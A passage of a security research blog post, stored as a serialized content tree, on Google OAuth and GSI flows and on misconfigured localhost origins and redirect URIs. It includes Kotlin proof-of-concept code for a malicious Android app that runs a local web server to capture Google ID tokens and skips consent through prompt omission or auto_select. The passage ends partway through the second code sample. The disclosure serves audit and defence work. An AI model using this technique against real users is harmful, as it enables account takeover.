exploits.","2025-10-16T12:00:00.000Z",[31195,31194],{"src":99426,"width":96986,"height":13},"/posts/oauth-misconfigurations/title.png",[99428,99429],"oAuth","exchanges",{"type":20,"children":99431,"toc":101748},[99432,99438,99443,99449,99469,99475,99480,99493,99498,99506,99520,99529,99538,99552,99560,99571,99631,99637,99649,99698,99704,99709,99722,99729,99740,99760,99779,99800,99806,99819,99824,99830,99849,100474,100479,100492,101353,101358,101363,101369,101374,101380,101385,101398,101438,101444,101457,101462,101495,101500,101505,101530,101535,101547,101704,101709,101713,101725,101730,101734,101739,101744],{"type":23,"tag":446,"props":99433,"children":99435},{"id":99434},"exploiting-oauth",[99436],{"type":28,"value":99437},"Exploiting OAuth",{"type":23,"tag":24,"props":99439,"children":99440},{},[99441],{"type":28,"value":99442},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":23,"tag":546,"props":99444,"children":99446},{"id":99445},"google-authentication-flows",[99447],{"type":28,"value":99448},"Google Authentication Flows",{"type":23,"tag":24,"props":99450,"children":99451},{},[99452,99454,99460,99462,99467],{"type":28,"value":99453},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":23,"tag":37,"props":99455,"children":99457},{"className":99456},[],[99458],{"type":28,"value":99459},"postMessage",{"type":28,"value":99461}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":23,"tag":37,"props":99463,"children":99465},{"className":99464},[],[99466],{"type":28,"value":69761},{"type":28,"value":99468}," to send the token back to the RP.",{"type":23,"tag":18881,"props":99470,"children":99472},{"id":99471},"gsi-new-flow",[99473],{"type":28,"value":99474},"GSI (New Flow)",{"type":23,"tag":24,"props":99476,"children":99477},{},[99478],{"type":28,"value":99479},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":23,"tag":417,"props":99481,"children":99482},{},[99483,99488],{"type":23,"tag":421,"props":99484,"children":99485},{},[99486],{"type":28,"value":99487},"Using FedCM API",{"type":23,"tag":421,"props":99489,"children":99490},{},[99491],{"type":28,"value":99492},"Without using FedCM API",{"type":23,"tag":24,"props":99494,"children":99495},{},[99496],{"type":28,"value":99497},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":23,"tag":24,"props":99499,"children":99500},{},[99501],{"type":23,"tag":510,"props":99502,"children":99503},{},[99504],{"type":28,"value":99505},"FedCM Method",{"type":23,"tag":24,"props":99507,"children":99508},{},[99509,99511,99518],{"type":28,"value":99510},"The FedCM method basically follows this ",{"type":23,"tag":458,"props":99512,"children":99515},{"href":99513,"rel":99514},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[462],[99516],{"type":28,"value":99517},"user experience",{"type":28,"value":99519},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":23,"tag":24,"props":99521,"children":99522},{},[99523,99525],{"type":28,"value":99524},"The normal flow, clicking the \"sign in\" button:\n",{"type":23,"tag":3918,"props":99526,"children":99528},{"alt":50573,"src":99527},"/posts/oauth-misconfigurations/image1.png",[],{"type":23,"tag":24,"props":99530,"children":99531},{},[99532,99534],{"type":28,"value":99533},"One-Tap popup shown when you open the page:\n",{"type":23,"tag":3918,"props":99535,"children":99537},{"alt":50573,"src":99536},"/posts/oauth-misconfigurations/image2.png",[],{"type":23,"tag":24,"props":99539,"children":99540},{},[99541,99543,99550],{"type":28,"value":99542},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":23,"tag":458,"props":99544,"children":99547},{"href":99545,"rel":99546},"https://github.com/w3c-fedid/FedCM/issues/429",[462],[99548],{"type":28,"value":99549},"FedCM auto-reauthentication",{"type":28,"value":99551},", which has certain preconditions that must be met.",{"type":23,"tag":24,"props":99553,"children":99554},{},[99555],{"type":23,"tag":510,"props":99556,"children":99557},{},[99558],{"type":28,"value":99559},"Non-FedCM Method",{"type":23,"tag":24,"props":99561,"children":99562},{},[99563,99565,99570],{"type":28,"value":99564},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":23,"tag":37,"props":99566,"children":99568},{"className":99567},[],[99569],{"type":28,"value":99459},{"type":28,"value":1474},{"type":23,"tag":5436,"props":99572,"children":99573},{},[99574,99579,99603,99608,99619],{"type":23,"tag":421,"props":99575,"children":99576},{},[99577],{"type":28,"value":99578},"The user clicks the sign in button",{"type":23,"tag":421,"props":99580,"children":99581},{},[99582,99584,99590,99592,99597,99598],{"type":28,"value":99583},"RP opens a popup/iframe to ",{"type":23,"tag":458,"props":99585,"children":99588},{"href":99586,"rel":99587},"https://accounts.google.com/o/oauth2/v2/auth",[462],[99589],{"type":28,"value":99586},{"type":28,"value":99591}," with some important parameters like ",{"type":23,"tag":37,"props":99593,"children":99595},{"className":99594},[],[99596],{"type":28,"value":69593},{"type":28,"value":1361},{"type":23,"tag":37,"props":99599,"children":99601},{"className":99600},[],[99602],{"type":28,"value":40127},{"type":23,"tag":421,"props":99604,"children":99605},{},[99606],{"type":28,"value":99607},"The user clicks the \"Continue\" button to authorize authentication",{"type":23,"tag":421,"props":99609,"children":99610},{},[99611,99613],{"type":28,"value":99612},"They get redirected to ",{"type":23,"tag":458,"props":99614,"children":99617},{"href":99615,"rel":99616},"https://accounts.google.com/gsi/transform",[462],[99618],{"type":28,"value":99615},{"type":23,"tag":421,"props":99620,"children":99621},{},[99622,99624,99629],{"type":28,"value":99623},"/gsi/transform sends the token back to the RP via ",{"type":23,"tag":37,"props":99625,"children":99627},{"className":99626},[],[99628],{"type":28,"value":99459},{"type":28,"value":99630}," (after some SYN/ACK messages)",{"type":23,"tag":18881,"props":99632,"children":99634},{"id":99633},"oauth-20-old-flow",[99635],{"type":28,"value":99636},"OAuth 2.0 Old Flow",{"type":23,"tag":24,"props":99638,"children":99639},{},[99640,99642,99647],{"type":28,"value":99641},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":23,"tag":37,"props":99643,"children":99645},{"className":99644},[],[99646],{"type":28,"value":69761},{"type":28,"value":99648}," provided in the URL and validated by a whitelist configuration:",{"type":23,"tag":5436,"props":99650,"children":99651},{},[99652,99656,99677,99681],{"type":23,"tag":421,"props":99653,"children":99654},{},[99655],{"type":28,"value":99578},{"type":23,"tag":421,"props":99657,"children":99658},{},[99659,99660,99665,99666,99671,99672],{"type":28,"value":99583},{"type":23,"tag":458,"props":99661,"children":99663},{"href":99586,"rel":99662},[462],[99664],{"type":28,"value":99586},{"type":28,"value":99591},{"type":23,"tag":37,"props":99667,"children":99669},{"className":99668},[],[99670],{"type":28,"value":69593},{"type":28,"value":1361},{"type":23,"tag":37,"props":99673,"children":99675},{"className":99674},[],[99676],{"type":28,"value":69761},{"type":23,"tag":421,"props":99678,"children":99679},{},[99680],{"type":28,"value":99607},{"type":23,"tag":421,"props":99682,"children":99683},{},[99684,99685,99690,99692],{"type":28,"value":99612},{"type":23,"tag":37,"props":99686,"children":99688},{"className":99687},[],[99689],{"type":28,"value":69761},{"type":28,"value":99691}," with the token in the query parameters or ",{"type":23,"tag":37,"props":99693,"children":99695},{"className":99694},[],[99696],{"type":28,"value":99697},"location.hash",{"type":23,"tag":18881,"props":99699,"children":99701},{"id":99700},"different-configurations",[99702],{"type":28,"value":99703},"Different Configurations",{"type":23,"tag":24,"props":99705,"children":99706},{},[99707],{"type":28,"value":99708},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":23,"tag":417,"props":99710,"children":99711},{},[99712,99717],{"type":23,"tag":421,"props":99713,"children":99714},{},[99715],{"type":28,"value":99716},"Authorized origins",{"type":23,"tag":421,"props":99718,"children":99719},{},[99720],{"type":28,"value":99721},"Authorized redirect URIs",{"type":23,"tag":24,"props":99723,"children":99724},{},[99725],{"type":23,"tag":3918,"props":99726,"children":99728},{"alt":50573,"src":99727},"/posts/oauth-misconfigurations/image3.png",[],{"type":23,"tag":24,"props":99730,"children":99731},{},[99732,99734,99739],{"type":28,"value":99733},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":23,"tag":37,"props":99735,"children":99737},{"className":99736},[],[99738],{"type":28,"value":69593},{"type":28,"value":706},{"type":23,"tag":24,"props":99741,"children":99742},{},[99743,99745,99751,99753,99758],{"type":28,"value":99744},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":23,"tag":37,"props":99746,"children":99748},{"className":99747},[],[99749],{"type":28,"value":99750},"/oauth2/v2/auth",{"type":28,"value":99752}," by checking the ",{"type":23,"tag":37,"props":99754,"children":99756},{"className":99755},[],[99757],{"type":28,"value":40127},{"type":28,"value":99759}," query parameter.",{"type":23,"tag":24,"props":99761,"children":99762},{},[99763,99765,99770,99772,99777],{"type":28,"value":99764},"In the old flow, the ",{"type":23,"tag":37,"props":99766,"children":99768},{"className":99767},[],[99769],{"type":28,"value":69761},{"type":28,"value":99771}," parameter passed in the ",{"type":23,"tag":37,"props":99773,"children":99775},{"className":99774},[],[99776],{"type":28,"value":99750},{"type":28,"value":99778}," endpoint is validated against the authorized redirect URIs.",{"type":23,"tag":24,"props":99780,"children":99781},{},[99782,99784,99789,99791,99798],{"type":28,"value":99783},"Note that the new GSI flow can also have a different flow using ",{"type":23,"tag":37,"props":99785,"children":99787},{"className":99786},[],[99788],{"type":28,"value":69761},{"type":28,"value":99790}," validation. To execute this flow, you need to specify ",{"type":23,"tag":458,"props":99792,"children":99795},{"href":99793,"rel":99794},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[462],[99796],{"type":28,"value":99797},"login_uri",{"type":28,"value":99799}," while using the SDK.",{"type":23,"tag":546,"props":99801,"children":99803},{"id":99802},"localhost-exploit",[99804],{"type":28,"value":99805},"Localhost Exploit",{"type":23,"tag":24,"props":99807,"children":99808},{},[99809,99811,99817],{"type":28,"value":99810},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":23,"tag":37,"props":99812,"children":99814},{"className":99813},[],[99815],{"type":28,"value":99816},"localhost",{"type":28,"value":99818}," origin because it is considered trusted for local testing.",{"type":23,"tag":24,"props":99820,"children":99821},{},[99822],{"type":28,"value":99823},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":23,"tag":18881,"props":99825,"children":99827},{"id":99826},"exploit",[99828],{"type":28,"value":99829},"Exploit",{"type":23,"tag":24,"props":99831,"children":99832},{},[99833,99835,99840,99841,99847],{"type":28,"value":99834},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":23,"tag":37,"props":99836,"children":99838},{"className":99837},[],[99839],{"type":28,"value":99697},{"type":28,"value":13129},{"type":23,"tag":37,"props":99842,"children":99844},{"className":99843},[],[99845],{"type":28,"value":99846},"location.search",{"type":28,"value":99848},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":23,"tag":31,"props":99850,"children":99854},{"className":99851,"code":99852,"language":99853,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[99855],{"type":23,"tag":37,"props":99856,"children":99857},{"__ignoreMap":7},[99858,99887,99906,99913,99920,99939,99950,99961,99992,100015,100062,100069,100076,100083,100090,100110,100141,100152,100159,100166,100185,100208,100219,100238,100253,100264,100287,100322,100341,100348,100359,100382,100393,100405,100412,100419,100426,100433,100440,100467],{"type":23,"tag":41,"props":99859,"children":99860},{"class":43,"line":44},[99861,99866,99870,99874,99878,99882],{"type":23,"tag":41,"props":99862,"children":99863},{"style":64},[99864],{"type":28,"value":99865}," override",{"type":23,"tag":41,"props":99867,"children":99868},{"style":64},[99869],{"type":28,"value":6205},{"type":23,"tag":41,"props":99871,"children":99872},{"style":114},[99873],{"type":28,"value":70448},{"type":23,"tag":41,"props":99875,"children":99876},{"style":70},[99877],{"type":28,"value":70453},{"type":23,"tag":41,"props":99879,"children":99880},{"style":94},[99881],{"type":28,"value":70458},{"type":23,"tag":41,"props":99883,"children":99884},{"style":70},[99885],{"type":28,"value":99886},"?){\n",{"type":23,"tag":41,"props":99888,"children":99889},{"class":43,"line":54},[99890,99894,99898,99902],{"type":23,"tag":41,"props":99891,"children":99892},{"style":64},[99893],{"type":28,"value":70471},{"type":23,"tag":41,"props":99895,"children":99896},{"style":70},[99897],{"type":28,"value":706},{"type":23,"tag":41,"props":99899,"children":99900},{"style":114},[99901],{"type":28,"value":70480},{"type":23,"tag":41,"props":99903,"children":99904},{"style":70},[99905],{"type":28,"value":70485},{"type":23,"tag":41,"props":99907,"children":99908},{"class":43,"line":76},[99909],{"type":23,"tag":41,"props":99910,"children":99911},{"emptyLinePlaceholder":18},[99912],{"type":28,"value":82},{"type":23,"tag":41,"props":99914,"children":99915},{"class":43,"line":85},[99916],{"type":23,"tag":41,"props":99917,"children":99918},{"style":48},[99919],{"type":28,"value":70500},{"type":23,"tag":41,"props":99921,"children":99922},{"class":43,"line":105},[99923,99927,99931,99935],{"type":23,"tag":41,"props":99924,"children":99925},{"style":114},[99926],{"type":28,"value":70508},{"type":23,"tag":41,"props":99928,"children":99929},{"style":70},[99930],{"type":28,"value":70513},{"type":23,"tag":41,"props":99932,"children":99933},{"style":114},[99934],{"type":28,"value":70518},{"type":23,"tag":41,"props":99936,"children":99937},{"style":70},[99938],{"type":28,"value":102},{"type":23,"tag":41,"props":99940,"children":99941},{"class":43,"line":155},[99942,99946],{"type":23,"tag":41,"props":99943,"children":99944},{"style":58},[99945],{"type":28,"value":70530},{"type":23,"tag":41,"props":99947,"children":99948},{"style":70},[99949],{"type":28,"value":102},{"type":23,"tag":41,"props":99951,"children":99952},{"class":43,"line":186},[99953,99957],{"type":23,"tag":41,"props":99954,"children":99955},{"style":114},[99956],{"type":28,"value":70542},{"type":23,"tag":41,"props":99958,"children":99959},{"style":70},[99960],{"type":28,"value":7735},{"type":23,"tag":41,"props":99962,"children":99963},{"class":43,"line":195},[99964,99968,99972,99976,99980,99984,99988],{"type":23,"tag":41,"props":99965,"children":99966},{"style":70},[99967],{"type":28,"value":70554},{"type":23,"tag":41,"props":99969,"children":99970},{"style":114},[99971],{"type":28,"value":70559},{"type":23,"tag":41,"props":99973,"children":99974},{"style":70},[99975],{"type":28,"value":1737},{"type":23,"tag":41,"props":99977,"children":99978},{"style":735},[99979],{"type":28,"value":70568},{"type":23,"tag":41,"props":99981,"children":99982},{"style":70},[99983],{"type":28,"value":970},{"type":23,"tag":41,"props":99985,"children":99986},{"style":735},[99987],{"type":28,"value":70577},{"type":23,"tag":41,"props":99989,"children":99990},{"style":70},[99991],{"type":28,"value":1969},{"type":23,"tag":41,"props":99993,"children":99994},{"class":43,"line":905},[99995,99999,100003,100007,100011],{"type":23,"tag":41,"props":99996,"children":99997},{"style":70},[99998],{"type":28,"value":70589},{"type":23,"tag":41,"props":100000,"children":100001},{"style":64},[100002],{"type":28,"value":48405},{"type":23,"tag":41,"props":100004,"children":100005},{"style":70},[100006],{"type":28,"value":70598},{"type":23,"tag":41,"props":100008,"children":100009},{"style":94},[100010],{"type":28,"value":70603},{"type":23,"tag":41,"props":100012,"children":100013},{"style":70},[100014],{"type":28,"value":152},{"type":23,"tag":41,"props":100016,"children":100017},{"class":43,"line":922},[100018,100022,100026,100030,100034,100038,100042,100046,100050,100054,100058],{"type":23,"tag":41,"props":100019,"children":100020},{"style":70},[100021],{"type":28,"value":70554},{"type":23,"tag":41,"props":100023,"children":100024},{"style":114},[100025],{"type":28,"value":51449},{"type":23,"tag":41,"props":100027,"children":100028},{"style":70},[100029],{"type":28,"value":1737},{"type":23,"tag":41,"props":100031,"children":100032},{"style":735},[100033],{"type":28,"value":70568},{"type":23,"tag":41,"props":100035,"children":100036},{"style":70},[100037],{"type":28,"value":970},{"type":23,"tag":41,"props":100039,"children":100040},{"style":735},[100041],{"type":28,"value":70635},{"type":23,"tag":41,"props":100043,"children":100044},{"style":64},[100045],{"type":28,"value":34102},{"type":23,"tag":41,"props":100047,"children":100048},{"style":170},[100049],{"type":28,"value":70644},{"type":23,"tag":41,"props":100051,"children":100052},{"style":64},[100053],{"type":28,"value":34134},{"type":23,"tag":41,"props":100055,"children":100056},{"style":735},[100057],{"type":28,"value":20048},{"type":23,"tag":41,"props":100059,"children":100060},{"style":70},[100061],{"type":28,"value":70657},{"type":23,"tag":41,"props":100063,"children":100064},{"class":43,"line":930},[100065],{"type":23,"tag":41,"props":100066,"children":100067},{"style":70},[100068],{"type":28,"value":58881},{"type":23,"tag":41,"props":100070,"children":100071},{"class":43,"line":939},[100072],{"type":23,"tag":41,"props":100073,"children":100074},{"style":70},[100075],{"type":28,"value":3347},{"type":23,"tag":41,"props":100077,"children":100078},{"class":43,"line":947},[100079],{"type":23,"tag":41,"props":100080,"children":100081},{"emptyLinePlaceholder":18},[100082],{"type":28,"value":82},{"type":23,"tag":41,"props":100084,"children":100085},{"class":43,"line":985},[100086],{"type":23,"tag":41,"props":100087,"children":100088},{"style":48},[100089],{"type":28,"value":70686},{"type":23,"tag":41,"props":100091,"children":100092},{"class":43,"line":1058},[100093,100097,100101,100105],{"type":23,"tag":41,"props":100094,"children":100095},{"style":64},[100096],{"type":28,"value":70694},{"type":23,"tag":41,"props":100098,"children":100099},{"style":70},[100100],{"type":28,"value":70699},{"type":23,"tag":41,"props":100102,"children":100103},{"style":170},[100104],{"type":28,"value":2381},{"type":23,"tag":41,"props":100106,"children":100107},{"style":735},[100108],{"type":28,"value":100109}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":41,"props":100111,"children":100112},{"class":43,"line":1084},[100113,100117,100121,100125,100129,100133,100137],{"type":23,"tag":41,"props":100114,"children":100115},{"style":64},[100116],{"type":28,"value":70694},{"type":23,"tag":41,"props":100118,"children":100119},{"style":70},[100120],{"type":28,"value":70720},{"type":23,"tag":41,"props":100122,"children":100123},{"style":170},[100124],{"type":28,"value":2381},{"type":23,"tag":41,"props":100126,"children":100127},{"style":114},[100128],{"type":28,"value":70729},{"type":23,"tag":41,"props":100130,"children":100131},{"style":70},[100132],{"type":28,"value":70734},{"type":23,"tag":41,"props":100134,"children":100135},{"style":114},[100136],{"type":28,"value":39204},{"type":23,"tag":41,"props":100138,"children":100139},{"style":70},[100140],{"type":28,"value":70743},{"type":23,"tag":41,"props":100142,"children":100143},{"class":43,"line":1102},[100144,100148],{"type":23,"tag":41,"props":100145,"children":100146},{"style":114},[100147],{"type":28,"value":70751},{"type":23,"tag":41,"props":100149,"children":100150},{"style":70},[100151],{"type":28,"value":70756},{"type":23,"tag":41,"props":100153,"children":100154},{"class":43,"line":1110},[100155],{"type":23,"tag":41,"props":100156,"children":100157},{"style":70},[100158],{"type":28,"value":192},{"type":23,"tag":41,"props":100160,"children":100161},{"class":43,"line":1118},[100162],{"type":23,"tag":41,"props":100163,"children":100164},{"emptyLinePlaceholder":18},[100165],{"type":28,"value":82},{"type":23,"tag":41,"props":100167,"children":100168},{"class":43,"line":1137},[100169,100173,100177,100181],{"type":23,"tag":41,"props":100170,"children":100171},{"style":64},[100172],{"type":28,"value":70778},{"type":23,"tag":41,"props":100174,"children":100175},{"style":64},[100176],{"type":28,"value":6205},{"type":23,"tag":41,"props":100178,"children":100179},{"style":114},[100180],{"type":28,"value":70787},{"type":23,"tag":41,"props":100182,"children":100183},{"style":70},[100184],{"type":28,"value":1134},{"type":23,"tag":41,"props":100186,"children":100187},{"class":43,"line":1163},[100188,100192,100196,100200,100204],{"type":23,"tag":41,"props":100189,"children":100190},{"style":114},[100191],{"type":28,"value":70799},{"type":23,"tag":41,"props":100193,"children":100194},{"style":70},[100195],{"type":28,"value":70804},{"type":23,"tag":41,"props":100197,"children":100198},{"style":170},[100199],{"type":28,"value":2381},{"type":23,"tag":41,"props":100201,"children":100202},{"style":164},[100203],{"type":28,"value":70813},{"type":23,"tag":41,"props":100205,"children":100206},{"style":70},[100207],{"type":28,"value":152},{"type":23,"tag":41,"props":100209,"children":100210},{"class":43,"line":1188},[100211,100215],{"type":23,"tag":41,"props":100212,"children":100213},{"style":114},[100214],{"type":28,"value":70825},{"type":23,"tag":41,"props":100216,"children":100217},{"style":70},[100218],{"type":28,"value":102},{"type":23,"tag":41,"props":100220,"children":100221},{"class":43,"line":1979},[100222,100226,100230,100234],{"type":23,"tag":41,"props":100223,"children":100224},{"style":64},[100225],{"type":28,"value":70837},{"type":23,"tag":41,"props":100227,"children":100228},{"style":70},[100229],{"type":28,"value":1737},{"type":23,"tag":41,"props":100231,"children":100232},{"style":735},[100233],{"type":28,"value":70846},{"type":23,"tag":41,"props":100235,"children":100236},{"style":70},[100237],{"type":28,"value":152},{"type":23,"tag":41,"props":100239,"children":100240},{"class":43,"line":2002},[100241,100245,100249],{"type":23,"tag":41,"props":100242,"children":100243},{"style":70},[100244],{"type":28,"value":70858},{"type":23,"tag":41,"props":100246,"children":100247},{"style":114},[100248],{"type":28,"value":70863},{"type":23,"tag":41,"props":100250,"children":100251},{"style":70},[100252],{"type":28,"value":102},{"type":23,"tag":41,"props":100254,"children":100255},{"class":43,"line":3835},[100256,100260],{"type":23,"tag":41,"props":100257,"children":100258},{"style":114},[100259],{"type":28,"value":70875},{"type":23,"tag":41,"props":100261,"children":100262},{"style":70},[100263],{"type":28,"value":102},{"type":23,"tag":41,"props":100265,"children":100266},{"class":43,"line":3895},[100267,100271,100275,100279,100283],{"type":23,"tag":41,"props":100268,"children":100269},{"style":114},[100270],{"type":28,"value":70887},{"type":23,"tag":41,"props":100272,"children":100273},{"style":70},[100274],{"type":28,"value":70892},{"type":23,"tag":41,"props":100276,"children":100277},{"style":170},[100278],{"type":28,"value":2381},{"type":23,"tag":41,"props":100280,"children":100281},{"style":735},[100282],{"type":28,"value":70901},{"type":23,"tag":41,"props":100284,"children":100285},{"style":70},[100286],{"type":28,"value":1969},{"type":23,"tag":41,"props":100288,"children":100289},{"class":43,"line":9044},[100290,100294,100298,100302,100306,100310,100314,100318],{"type":23,"tag":41,"props":100291,"children":100292},{"style":114},[100293],{"type":28,"value":70887},{"type":23,"tag":41,"props":100295,"children":100296},{"style":70},[100297],{"type":28,"value":70917},{"type":23,"tag":41,"props":100299,"children":100300},{"style":170},[100301],{"type":28,"value":2381},{"type":23,"tag":41,"props":100303,"children":100304},{"style":735},[100305],{"type":28,"value":70926},{"type":23,"tag":41,"props":100307,"children":100308},{"style":70},[100309],{"type":28,"value":70931},{"type":23,"tag":41,"props":100311,"children":100312},{"style":170},[100313],{"type":28,"value":2381},{"type":23,"tag":41,"props":100315,"children":100316},{"style":735},[100317],{"type":28,"value":70940},{"type":23,"tag":41,"props":100319,"children":100320},{"style":70},[100321],{"type":28,"value":1969},{"type":23,"tag":41,"props":100323,"children":100324},{"class":43,"line":9061},[100325,100329,100333,100337],{"type":23,"tag":41,"props":100326,"children":100327},{"style":114},[100328],{"type":28,"value":70952},{"type":23,"tag":41,"props":100330,"children":100331},{"style":70},[100332],{"type":28,"value":1737},{"type":23,"tag":41,"props":100334,"children":100335},{"style":735},[100336],{"type":28,"value":70961},{"type":23,"tag":41,"props":100338,"children":100339},{"style":70},[100340],{"type":28,"value":1969},{"type":23,"tag":41,"props":100342,"children":100343},{"class":43,"line":9106},[100344],{"type":23,"tag":41,"props":100345,"children":100346},{"style":70},[100347],{"type":28,"value":70973},{"type":23,"tag":41,"props":100349,"children":100350},{"class":43,"line":9212},[100351,100355],{"type":23,"tag":41,"props":100352,"children":100353},{"style":114},[100354],{"type":28,"value":70981},{"type":23,"tag":41,"props":100356,"children":100357},{"style":70},[100358],{"type":28,"value":102},{"type":23,"tag":41,"props":100360,"children":100361},{"class":43,"line":23496},[100362,100366,100370,100374,100378],{"type":23,"tag":41,"props":100363,"children":100364},{"style":114},[100365],{"type":28,"value":70993},{"type":23,"tag":41,"props":100367,"children":100368},{"style":70},[100369],{"type":28,"value":9584},{"type":23,"tag":41,"props":100371,"children":100372},{"style":170},[100373],{"type":28,"value":4383},{"type":23,"tag":41,"props":100375,"children":100376},{"style":735},[100377],{"type":28,"value":71006},{"type":23,"tag":41,"props":100379,"children":100380},{"style":70},[100381],{"type":28,"value":9594},{"type":23,"tag":41,"props":100383,"children":100384},{"class":43,"line":23531},[100385,100389],{"type":23,"tag":41,"props":100386,"children":100387},{"style":114},[100388],{"type":28,"value":71018},{"type":23,"tag":41,"props":100390,"children":100391},{"style":70},[100392],{"type":28,"value":102},{"type":23,"tag":41,"props":100394,"children":100395},{"class":43,"line":23539},[100396,100400],{"type":23,"tag":41,"props":100397,"children":100398},{"style":170},[100399],{"type":28,"value":71030},{"type":23,"tag":41,"props":100401,"children":100402},{"style":735},[100403],{"type":28,"value":100404},"\"document.body.innerText = location.hash;\"\n",{"type":23,"tag":41,"props":100406,"children":100407},{"class":43,"line":23547},[100408],{"type":23,"tag":41,"props":100409,"children":100410},{"style":70},[100411],{"type":28,"value":71043},{"type":23,"tag":41,"props":100413,"children":100414},{"class":43,"line":23556},[100415],{"type":23,"tag":41,"props":100416,"children":100417},{"style":70},[100418],{"type":28,"value":70973},{"type":23,"tag":41,"props":100420,"children":100421},{"class":43,"line":23598},[100422],{"type":23,"tag":41,"props":100423,"children":100424},{"style":70},[100425],{"type":28,"value":71058},{"type":23,"tag":41,"props":100427,"children":100428},{"class":43,"line":23631},[100429],{"type":23,"tag":41,"props":100430,"children":100431},{"style":70},[100432],{"type":28,"value":71066},{"type":23,"tag":41,"props":100434,"children":100435},{"class":43,"line":23639},[100436],{"type":23,"tag":41,"props":100437,"children":100438},{"style":70},[100439],{"type":28,"value":58881},{"type":23,"tag":41,"props":100441,"children":100442},{"class":43,"line":23647},[100443,100447,100451,100455,100459,100463],{"type":23,"tag":41,"props":100444,"children":100445},{"style":70},[100446],{"type":28,"value":71081},{"type":23,"tag":41,"props":100448,"children":100449},{"style":114},[100450],{"type":28,"value":71086},{"type":23,"tag":41,"props":100452,"children":100453},{"style":70},[100454],{"type":28,"value":71091},{"type":23,"tag":41,"props":100456,"children":100457},{"style":170},[100458],{"type":28,"value":2381},{"type":23,"tag":41,"props":100460,"children":100461},{"style":64},[100462],{"type":28,"value":915},{"type":23,"tag":41,"props":100464,"children":100465},{"style":70},[100466],{"type":28,"value":1969},{"type":23,"tag":41,"props":100468,"children":100469},{"class":43,"line":23656},[100470],{"type":23,"tag":41,"props":100471,"children":100472},{"style":70},[100473],{"type":28,"value":192},{"type":23,"tag":24,"props":100475,"children":100476},{},[100477],{"type":28,"value":100478},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":23,"tag":24,"props":100480,"children":100481},{},[100482,100484,100490],{"type":28,"value":100483},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":23,"tag":37,"props":100485,"children":100487},{"className":100486},[],[100488],{"type":28,"value":100489},"auto_select",{"type":28,"value":100491}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":23,"tag":31,"props":100493,"children":100495},{"className":99851,"code":100494,"language":99853,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                           